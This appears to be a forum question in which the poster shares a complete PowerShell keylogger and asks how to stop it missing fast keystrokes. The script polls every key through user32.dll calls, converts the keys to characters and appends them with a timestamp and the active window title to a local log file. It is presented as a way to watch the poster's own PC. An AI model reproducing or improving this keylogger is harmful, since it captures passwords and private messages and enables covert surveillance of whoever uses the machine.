I got a keylogger Powershell script to protocol my input, since I'm quite paranoid if someone uses my PC.
However, some letters (I have an anti-ghosting keyboard) are swallowed if I type them in fast. Does anyone see a bottleneck here? I believe it's either the fact that:
- it can't recognize keys pressed at the same time, or
- The Out-File causes the bottleneck so it doesnt write fast enough.
My question is, how I improve it to capture ALL key inputs?
function KeyLog {
$MAPVK_VK_TO_VSC = 0x00
$MAPVK_VSC_TO_VK = 0x01
$MAPVK_VK_TO_CHAR = 0x02
$MAPVK_VSC_TO_VK_EX = 0x03
$MAPVK_VK_TO_VSC_EX = 0x04
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$foreground_sig=@'
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
'@
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$getForeground = Add-Type -MemberDefinition $foreground_sig -name "Win32MyForeground" -namespace Win32Functions -passThru
while ($true) {
Start-Sleep -Milliseconds 40
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) {
$l_shift = $getKeyState::GetAsyncKeyState(160)
$r_shift = $getKeyState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock
$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res -gt 0) {
try {
$ActiveHandle = $getForeground::GetForegroundWindow()
$Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}
$Process | Select ProcessName, @{Name="AppTitle";Expression= {($_.MainWindowTitle)}}
$title = $Process.MainWindowTitle
$logfile = "key.log"
$timestamp = (Get-Date -format MM/dd/yy` hh:mm:ss)
Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject "$timestamp | $title | $mychar "
} catch {
Write-Error "Failed to get active Window details. More Info: $_"
}
}
}
}
}
}
KeyLog